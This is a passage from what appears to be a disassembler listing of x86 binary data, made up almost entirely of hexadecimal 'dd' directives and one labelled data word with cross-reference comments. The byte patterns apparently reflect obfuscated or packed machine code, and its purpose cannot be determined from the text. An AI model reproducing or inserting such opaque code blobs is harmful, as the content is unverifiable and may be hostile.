3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 0B1C35141h, 3FF519FAh, 0A5DFDFF9h dd 2F3D8589h, 0B790061Fh, 6A905018h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 4074C352h dd 11D9BD89h, 6A061Fh, 6A006AF8h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0DAA0C357h dd 0FFDC86DEh, 499D8BCCh, 0FF061F0Ah, 1F016195h, 0DF8B6606h dd 0B1F28D8Dh, 0D98B0622h, 9D23D1FFh, 61F02CDh, 0EF5BD83h dd 0F01061Fh, 7F85h, 41858900h, 6A061F00h, 52006A02h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 98D3AF82h, 0B390CC58h, 0D88B5035h, 56006A90h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0FE8B66D0h, 0C9DB8166h, 5595FFA5h, 6A061F2Fh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 0EB87C357h, 548CC48Eh, 95C304D6h, 0DB2E9h, 0E800h, 815D0000h dd 241A4AEDh, 0B58B6006h, 61F0E39h, 0D27296BBh, 0DEBF6147h dd 8D512CAAh, 228EE485h, 81665206h, 5BD964F7h, 8F33BB90h dd 905048C2h, 2CE18D89h, 9D8B061Fh, 61F1221h, 35FF64h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 640AC353h, 0A2FAE0A2h, 66D1A4A6h dd 8964FE8Bh, 25h, 4BF6600h, 2985FF46h, 6A061F10h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 0BF8EC356h, 89C95716h, 1F0D499Dh, 66FF6A06h, 693BCB81h dd 2D01B5FFh, 0F6B3061Fh, 1CED95FFh, 2BE9061Fh, 66000001h dd 0B0DA8Bh, 7AF38166h, 8B70E6C6h, 1F2AAD9Dh, 8B71E406h dd 1F15B9BDh, 0F613C06h, 10983h, 0DDBD8B00h, 0E8061F07h dd 0Fh, 98331175h, 0E7EE73B8h, 617763D9h, 0E803AE1Ch, 0Fh dd 0D52B31AEh, 851D88ADh, 43101100h, 666CDFD0h, 79D4F381h dd 0B60F5B5Fh, 0EAA2BBC8h, 6BA12B9h, 0F000000h, 0C18BFFB7h dd 4135BB66h, 0BB04E8C1h, 5B522E5Ch, 0E9E2F766h, 10h, 700EBDD5h dd 26100E9Dh, 0A720DFB4h, 65871D82h, 8BFCC82Bh, 398D89D1h dd 0E8061F16h, 11h, 67F5B171h, 0FF64AD39h, 0A7571484h dd 0FC0FD0D3h, 5B5B56AAh, 75E9h, 0FBBF0F00h, 4C4C858Bh dd 0E381505Fh, 3AC4AB43h, 107C083h, 1F0B31BDh, 0C08306h dd 0D03BF88Ah, 11830Fh, 0BD2B0000h, 61F0665h, 45E9h, 958D8900h dd 8B061F23h, 0FFFFFF8Dh, 0D98589FFh, 89061F10h, 1F16E9BDh dd 1E18306h, 24840Fh, 0BD290000h, 61F2D0Dh, 0FFFFA583h dd 89FEFFFFh, 1F31C1B5h, 4C958906h, 81505F4Ch, 0D1BC54CFh dd 0E925h, 0B58D0000h, 6239AFBh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 3DC35545h, 0ADB5CF59h, 11718589h dd 6A061Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 7AC35747h, 8E244E30h, 86E3E4EFh, 25BD034Fh, 56061F02h dd 68E0Fh, 0BD0B0000h, 61F0A71h, 4595FF5Bh, 6A061F1Dh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 0F6BC357h, 0A80h, 5E900h, 5B170000h, 0B9D891D6h dd 1074h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 0DC35646h, 0DF81CB4Dh, 1E9B9929h, 0E8FCE183h, 7 dd 685F3AFh, 5FFBC4DBh, 52006AFCh, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 9BBAF30Eh, 694CC070h dd 81666066h, 8951D6E2h, 1F236D95h, 0AE86106h, 4F000000h dd 2ABC2803h, 0BFEF6F76h, 5BD8B41h, 5B061F03h, 8D31C02Bh dd 61F13D9h, 6AD22Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 8BCDA7C3h, 0C233ADF9h, 0D003E8D1h dd 7504E983h, 6AF98BF4h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 5A9BC352h, 66662108h dd 880DFA8Bh, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 8F80C351h, 0FABE6B5Dh dd 5D958B10h, 89061F0Bh, 1F0EE58Dh, 0C58D8B06h, 6A061F20h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 8CBFC350h, 8BE540C1h, 1F208D9Dh, 0C28B5006h dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6058188Bh, 61F9EE80h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 9BC35141h dd 1D86AB9h, 85295322h, 61F19B1h, 8DBD835Bh, 61F07h, 36840Fh dd 0CE90000h, 0BB000000h, 0B57315ABh, 0B6417D69h, 0F54CE2F3h dd 0B8h, 12D6BB00h, 9D8B7633h, 61F2E15h, 4DB08D8Dh, 0E781061Fh dd 262B2C3Fh, 0BD8BE1FFh, 61F2ACDh, 137DBD83h, 0F00061Fh dd 51784h, 999D8B00h, 83061F05h, 1F137DBDh, 840F0106h dd 51Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 0FAC35242h, 0CC28BF66h, 0C860Fh, 8A0F0000h, 6 dd 1F259D8Bh, 0BD83061Fh, 61F137Dh, 0AA860F03h, 6A000004h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 0DECCC355h, 51588380h, 13E89FA1h, 5F000000h dd 5D03326Ch, 0A374C237h, 9AA47139h, 9393B073h, 0F88B2E04h dd 12E95Fh, 2C470000h, 21CF85D2h, 1EF6ADE3h, 971BF5DDh dd 0C2D9B9Dh, 53006A60h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 32D0A030h, 8B1E42FFh, 1F2AF59Dh dd 0D98C6606h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 47C35141h, 4E1809Ah, 1F3D9D89h, 0C90A061Fh, 13A840Fh dd 10E80000h, 0E6000000h, 98090D9Ah, 0C1A589BEh, 7F16D7DFh dd 5FBD5489h, 0DC1858Bh, 6A061Fh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0A64A20C3h, 0BD8B6060h dd 61F1619h, 2C89B589h, 6161061Fh, 2EC98533h, 6A061Fh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 82B07CC3h, 9E697400h, 0FE9787Ch, 98000000h, 0F60973A9h dd 77442952h, 56BCD408h, 0E990CBADh, 10h, 0E47FDBEFh, 2FD0B3B3h dd 64669B00h, 6CC4EE3Eh, 6A9050h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h dd 0E44EF0C3h, 4EF00750h, 0D59D8BE4h, 6A061F23h, 0BE800h dd 0EDD80000h, 20703B25h, 0CC3C0BCEh, 0AE9F7h, 0ECC0000h dd 2B0C1371h, 0D60993A6h, 0D752685Bh, 34812FC8h, 0D7D4AD24h dd 61B5012Fh, 0FF061F02h, 1F2DE195h, 55858906h, 6A0622B2h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 0DF32C357h, 38B0F1Eh, 0F000000h, 0E3E9FEB7h dd 0BF000001h, 753CD64Ah, 0B24D858Bh, 6A0622h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0F3EE7C3h, 0BFCBD7FAh, 135E7D57h, 1800C7h, 0DF8B0000h dd 0B251B58Bh, 6A0622h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 0D43F3AC3h, 9737795h, 1F161195h dd 0A1858B06h, 89061F13h, 1F126D8Dh, 6A068906h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 8B4EC351h, 1F0DC185h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0D411FC6Ch, 0EC4B6757h dd 28D0Fh, 2AB70000h, 0E9044689h, 12h, 40991D34h, 0FEC604Dh dd 6EA7ECD8h, 0F33C607Dh, 66968E80h, 503567BBh, 60CE8B60h dd 0B8665850h, 61612283h, 57006A96h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0A95A228Fh dd 51BD8Bh, 0B5FF061Fh, 622B24Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 0E9C35040h, 9DBD8BD5h, 68061F32h dd 0D55FE098h, 67240481h, 0E92ABF23h, 9, 6CC4EE3Eh, 0BDFBA221h dd 55858DC4h, 6A0622B2h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 8B83C350h, 48950F8h dd 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 93BF31DAh, 0CAB4F3B0h, 0B5294D50h, 61F0A81h dd 2DE195FFh, 6A061Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 9866B7C3h, 3841A775h, 2DAD9589h dd 0F781061Fh, 41E0717Ch, 1A09BD89h, 6A61061Fh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 0EAAC351h, 0EC778867h, 2C25BD8Bh, 9D03061Fh, 61F1AEDh dd 137D85C7h, 3061Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 3029C6C3h, 0D0391007h dd 11E9B5h, 0A17B0000h, 5E748FA1h, 69C1C76Ah, 0CB929381h dd 83DD5ABEh, 22B255BDh, 840F0006h, 65h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Ch, 0B5C35040h, 0FCCD0D16h dd 5ADA54E0h db 0E8h, 9 word_580046 dw 0 ; DATA XREF: ___:off_427A80o ; ___:00427A88o ... dd 0C5D42F00h, 0DBC60F3Ah, 0BD2B6084h, 61F2C09h, 42E95Bh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 9A47BBC3h, 0CB0113B4h, 8B466A47h, 0C3050FAh dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 10E9h dd 28296E00h, 71F59312h, 76D58A28h, 0A70A2B80h, 52006AACh dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0D8F9EEADh, 4CA1CC26h, 0BD83DF8Bh, 61F137Dh, 0C4850F03h dd 81000003h, 0D18DB6D3h, 55BD8335h, 622B2h, 3B1840Fh dd 0B5FF0000h, 622B255h, 28E0Fh, 0F98A0000h, 1BC995FFh dd 6A061Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 8555EAC3h, 4849D208h, 30BF6661h, 49B58BCCh dd 6A0622B2h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 556FC356h, 0EC6D80A8h, 0E38166EAh dd 0CB81194Fh, 2A58C963h, 106C7h, 0E8960001h, 13h, 0C2AECD37h dd 456E7F85h, 254467CAh, 0C63062ECh, 508F4756h, 0FB8B6652h dd 6160310Fh, 505B585Ah, 310F5250h, 0FBF6652h, 585A5F6Bh dd 55006A96h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 887CCE4Bh, 9D8B6E72h, 61F0755h, 0B255B5FFh dd 5EB30622h, 162195FFh, 6A061Fh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 9548BDC3h, 45D8AE03h dd 814A34B4h, 0AEF81CDBh, 49B58B33h, 500622B2h, 10E9h dd 73034800h, 4843484Bh, 5224122Bh, 95528ABFh, 858B5F25h dd 61F2FF1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 8CC35242h, 33A7F752h, 0C48689h, 0BD0B0000h, 61F0EF9h dd 0B5D958Bh, 9D8B061Fh, 61F10F9h, 8B04C283h, 1F02599Dh dd 20508906h, 0C797858Dh, 6A0622h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 6A3ADEC3h, 0BD0B68DBh dd 61F134Dh, 132D8D31h, 8689061Fh, 0B8h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Bh, 0FAC35646h, 494DCBD7h dd 6A203DB1h, 8B0F6000h, 1, 0C18CBEF5h, 0FF6162A9h, 22B255B5h dd 0DFBF0F06h, 2F5595FFh, 6A061Fh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 9D8B8EC3h, 61F24ADh dd 1EB76050h, 24348961h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 62C35242h, 0F1890211h, 0F4BB6646h, 55B5FFE2h dd 0FF0622B2h, 1F0E1D95h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 98615BA8h dd 83BBF2A6h, 1F2C0DBDh, 840F0006h, 5Bh, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Ah, 1CC35747h, 0D6A31B61h dd 0BF0F3309h, 4CB396D9h, 8830F50h, 60000000h, 2D06B966h dd 9661E88Ah, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 9CC35141h, 65BD8B47h, 0FF061F20h, 22B255B5h, 6810F06h dd 29000000h, 1F08CD8Dh, 4995FF06h, 66061F13h, 0B5FFF98Bh dd 622B255h, 1069BD8Bh, 95FF061Fh, 61F1075h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 55C35545h, 2655157Dh dd 162C4B27h, 832FDF80h, 1F0009BDh, 840F0206h, 73h, 17890Fh dd 0BE80000h, 4000000h, 1D713063h, 0C9C53D34h, 95896D0Ah dd 61F2D05h, 51858B5Fh, 6A061F17h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0BF7AC357h dd 8B62EA22h, 1F079DBDh, 0C606h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 0DBC35747h, 927F594Dh, 0C19D8B1Fh dd 0C7061F0Fh, 1F129185h, 6, 1DBD0B00h, 0E9061F0Dh, 0FFFFF2F9h dd 0C18BFD8Ah, 8DFA8B66h, 1F19BD85h, 0BE906h, 85C90000h dd 9A5C2534h, 60BDBF3Bh, 0F8BF0F7Ch, 58F0F90h, 0BF000000h dd 1F5F25F3h, 9033B350h, 7399D89h, 6A061Fh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0C5C35242h, 0F006A21h dd 128Eh, 0DE900h, 2F890000h, 3F4EED63h, 84A02498h, 8D37EF17h dd 2429A985h, 9E806h, 20260000h, 22AB32E4h, 810FC85Eh dd 3A4C75D7h, 0C0835F6Ah, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0AFBF1DEAh dd 9D0341B6h, 61F0FE1h, 840F5090h, 4, 0D9A1BB66h, 99BD3190h dd 6A061F2Fh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 6ED727B2h, 0F7E93ADh, 683h, 0DB58900h dd 6A061F11h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 358D8961h, 0FF061F2Ch, 1F016195h dd 48D0F06h, 66000000h, 8DE53DBBh, 22B1F28Dh, 0FFF98A06h dd 0F5BD83D1h, 1061F0Eh, 77850Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 1BA6E3C3h dd 23659D33h, 26A061Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 0BAC35545h, 5DD7AC01h, 0D3FF49E3h, 0BDBD3368h dd 89061F32h, 1F123185h, 6E99006h, 53000000h, 0D3827505h dd 8B90509Dh, 1F0E2D9Dh, 5595FF06h, 0B061F2Fh, 1F0FC19Dh dd 0E72E906h, 0E80000h, 5D000000h, 29B3ED81h, 0B5010624h dd 61F2FF5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 0A1C35747h, 839791EFh, 8BCF3061h, 1F2DF99Dh, 0FE906h dd 0EAFF0000h, 0D4E6BDBDh, 0AC4BC82h, 0EF3B6A1Ah, 0E4858D4Bh dd 8B06228Eh, 1F0D999Dh, 10E85006h, 5A000000h, 8EC80718h dd 2A894D8Bh, 0D736DD1h, 0E9244548h, 5, 969D48B5h, 4895FABh dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 0AC71B135h, 1D119D8Bh, 0FF64061Fh, 35h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 0EB700C6Ah, 10E86911h, 9B000000h, 0FB683753h dd 85F74023h, 7FCD8E12h, 8B1486E6h, 1F1A05BDh, 0DD8A5B06h dd 258964FCh, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0ADC35242h dd 0F5084E1h, 186h, 0BB5FF500h, 6342179Bh, 102985FFh, 6A061Fh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 7FCD8EC3h, 0D9D38166h, 6AFF6A1Ah, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8B0CC351h dd 65B5FFD8h, 89061F08h, 1F19CD95h, 0ED95FF06h, 0E9061F1Ch dd 192h, 862DCF81h, 0B05D7Bh, 5770E6F9h, 2C199D8Bh, 0E45F061Fh dd 14E971h, 0E8F60000h, 18FE8083h, 20C2EB6Bh, 0DB1B960h dd 0DE9D32Eh, 613C43D6h, 15C830Fh, 0BD8B0000h, 61F00B9h dd 60C8B60Fh, 5899509h, 8D23061Fh, 61F0D7Dh, 6BA61h, 0AE90000h dd 94000000h, 56BDED60h, 85BD42ACh, 0BBC18BE0h, 1EC36672h dd 6004E8C1h, 0C55B58Bh, 0F61061Fh, 681h, 0C59D8B00h, 66061F1Eh dd 14E8E2F7h, 9C000000h, 844C0DAFh, 0EF014F03h, 94290271h dd 0B4330D74h, 8B5BB98Ah, 1F05F9BDh, 880F5F06h, 4, 0F7D9BB66h dd 9D29C82Bh, 61F13B5h, 9D8BD18Bh, 61F3095h, 0D1E9h, 0F9BF0F00h dd 0FE9h, 0D7B51900h, 0BDA4822Ch, 8C981707h, 65169DC8h dd 554C858Bh, 0B5894947h, 61F31C1h, 0E807C083h, 11h, 0DC06AC1Ah dd 89833F7Fh, 8B6269B0h, 0FADC1301h, 0A0F38066h, 0C0835Bh dd 3BF6EF80h, 43830FD0h, 0E9000000h, 0Eh, 0FBA6C3FFh, 0AF920F1h dd 9373CB3Dh, 10E947E4h, 5C000000h, 8F744E00h, 89AB2F01h dd 4FAC5988h, 0E901CD30h, 56h, 0FE960h, 9E580000h, 0E20A1C9Dh dd 5BD465BDh, 21681DFDh, 8D8B61C6h, 0FFFFFFFFh, 6850Fh dd 9D330000h, 61F0E75h, 0F01E183h, 2584h, 830FB300h, 0FFFFFFA5h dd 800FFEFFh, 6, 2599589h, 9589061Fh, 4947554Ch, 3FDF8166h dd 0E927h, 0B58D0000h, 623AB6Fh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0EFC35242h, 7CEEE6D7h, 999D8BA8h dd 6A061F24h, 14E800h, 0F8A40000h, 0EFAB8536h, 551348FBh dd 171B7534h, 0BE10B64Ch, 8B665B31h, 95FF5FD8h, 61F1D45h dd 0F7AB9h, 11E900h, 4F6B0000h, 37BE1E79h, 2D0A896Dh, 0B305F9C5h dd 83A0B182h, 6AFCE1h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 9E067C3h, 51F573D5h, 56FC17D4h dd 11E5BD31h, 0B85F061Fh, 0 dd 0D01EBF66h, 6AD22Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 33ADA3C3h, 3E8D1C2h, 4E983D0h, 6AF475h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 8DBDFAC3h, 0E9600813h, 0Bh, 3546DE1Ah, 16506D9Ch, 6A094BF2h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 42EAC355h, 8B9CB89Bh, 880DFEh, 840F0000h dd 0 dd 0B5D958Bh, 6A061Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 26ED6BC3h, 274238Fh, 20C58D8Bh dd 8B50061Fh, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0DDC35545h dd 63A16D1Fh, 0BB664DFFh, 6A3816h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 40912EC3h, 553A4B95h dd 83CA37D5h, 1F078DBDh, 840F0006h, 0AAh, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Dh, 0F8C35141h, 0A29D7C59h dd 0BBBD305Fh, 0C9BD31D9h, 0B8061F0Ah, 0 dd 11E9h, 322A2000h, 0E7A33AA1h, 6D25F34h, 0E303382Ah dd 8D8D9597h, 61F4DB0h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 42C35141h, 6AE1FFh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0DE938C3h dd 8A000000h, 80EEE2F5h, 4ADE3673h, 1C9A1F94h, 6E8h, 0F6A0E600h dd 11106ABh, 1F0CF19Dh, 0BD835B06h, 61F137Dh, 8840F00h dd 89000004h, 1F1A4195h, 7DBD8306h, 1061F13h, 410840Fh dd 85890000h, 61F325Dh, 137DBD83h, 0F03061Fh, 3C786h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 9D8BC671h, 61F3049h, 6A60E3B7h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 34DFC356h dd 4880FF7h, 56000000h, 665B6160h, 6AD98Ch, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0B4D0B2C3h dd 4ECC8551h, 0F88B6648h, 8B04E180h, 1F0E7DBDh, 0FC90A06h dd 12184h, 0FAB70F00h, 0DC1858Bh, 8B66061Fh, 0C98533F8h dd 6A061F2Eh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 1CEAC353h, 0D2BBE0E9h, 0E837F2EAh dd 8, 57D2368Fh, 0F2134FA5h, 326D8D89h, 905B061Fh, 90F98B50h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0DC35040h dd 919D8B44h, 6A061F0Ah, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 8953697Dh, 1F1D11BDh dd 68F55B06h, 52367F2Ch, 0A810Fh, 0F600000h, 81h, 61A7B200h dd 0D3243481h, 8B52297Ch, 0A9CF81D8h, 0FF6C4AAFh, 1F2DE195h dd 0A8DF8106h, 893CE3A3h, 22B25585h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0A69FB9D6h dd 0A712945Fh, 85DBD89h, 2E9061Fh, 6A000002h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 0ABE5C350h, 0FC1BD89h, 858B061Fh, 622B24Dh, 0C75B50h dd 18h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h dd 0E3C35747h, 0DBC0F5E0h, 0B251B58Bh, 858B0622h, 61F13A1h dd 6E9F9h, 0EA030000h, 43F608D9h, 6A0689h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0D7486FC3h dd 484FD4C9h, 0FEBF0F37h, 858B5B51h, 61F0DC1h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 15C35343h, 213421C6h dd 0BF0F25DAh, 44689FBh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 4C35040h, 57AC8118h, 5239CA8Fh, 5250965Bh dd 838B5BBFh, 8B310F37h, 50585ADAh, 0B3525053h, 5A310F46h dd 6A965F58h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 2994C352h, 5BED1E46h, 0DF816634h dd 0B5FF19C8h, 622B24Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 0AC35343h, 0DA45FE77h, 680D86C1h, 72C9FEFh dd 7E96057h, 4E000000h, 0CCC97F56h, 0F38B3752h, 34815F61h dd 339C1024h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 0C48616FCh, 0BD8BA044h, 61F1C45h dd 0B255858Dh, 6A0622h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 0A481E0C3h, 2BB22E2Ah, 50EB8B9Ch dd 6E9h, 5F1D4A00h, 89A7CA85h, 830F2404h, 6, 30E59D23h dd 95FF061Fh, 61F2DE1h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 82C35646h, 39468A1Bh, 0CCBF61FEh, 0F2DBE16h dd 480h, 0EABB6600h, 7D85C742h, 3061F13h, 0F000000h, 184h dd 0BD83F800h, 622B255h, 11840F00h, 29000000h, 1F31D595h dd 21E906h, 9D290000h, 61F0261h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 6AC08B00h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 3849C350h, 0A127EC58h dd 0F723295h, 482h, 55BF6600h, 0D850FB9h, 60000000h, 12D58D29h dd 1FBF061Fh, 617DC653h, 0DDDBD89h, 0BD83061Fh, 61F137Dh dd 41850F03h, 6A000004h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 3332C356h, 1F24D19Dh dd 1D9D2906h, 83061F03h, 22B255BDh, 840F0006h, 40Ch, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 79C35040h, 755FCDEEh dd 0E8FCABD4h, 0Ah, 34E5628Bh, 0FD125AC5h, 0BF0FFECEh dd 0DF8B5BD9h, 0B255B5FFh, 6A0622h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8BF15FC3h dd 0C995FFF8h, 6A061F1Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 9F9AC352h, 8BF3DE51h dd 1F23B19Dh, 49B58B06h, 6A0622B2h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 89F6C352h dd 1F30B18Dh, 106C706h, 6A000100h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 7BDEC351h dd 0C81E3BDBh, 0AD6AFC4Fh, 0EE8h, 395E7500h, 0A4905326h dd 9CD3738Bh, 0F5C9DF93h, 96BF505Fh, 8925A72Ah, 6A2434h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 0BD0B91C3h, 61F0DF5h, 1B519D89h, 13E9061Fh, 0C1000000h dd 0D7E8DA52h, 0C27A19E9h, 624E4659h, 74D8878Ah, 0B5FF64A1h dd 622B255h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 2AC35747h, 0F966C6C0h, 384B03A0h, 162195FFh, 880F061Fh dd 2, 0B58B6160h, 622B249h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 9FC35040h, 0CD5FD54Dh, 0FA3636BFh, 0F1858B47h dd 6A061F2Fh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 0F21C352h, 0FA8BFEBFh, 0E3E78166h dd 0C48689F3h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 0E9FEC352h, 0A5365842h dd 8BFC0438h, 1F0B5D95h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 60C59896h, 836117B6h dd 0FE904C2h, 2B000000h, 36FA0C14h, 0DB8A0E97h, 0FCCCF348h dd 5089E3F1h, 0F7805020h, 858D5F6Ah, 622C797h, 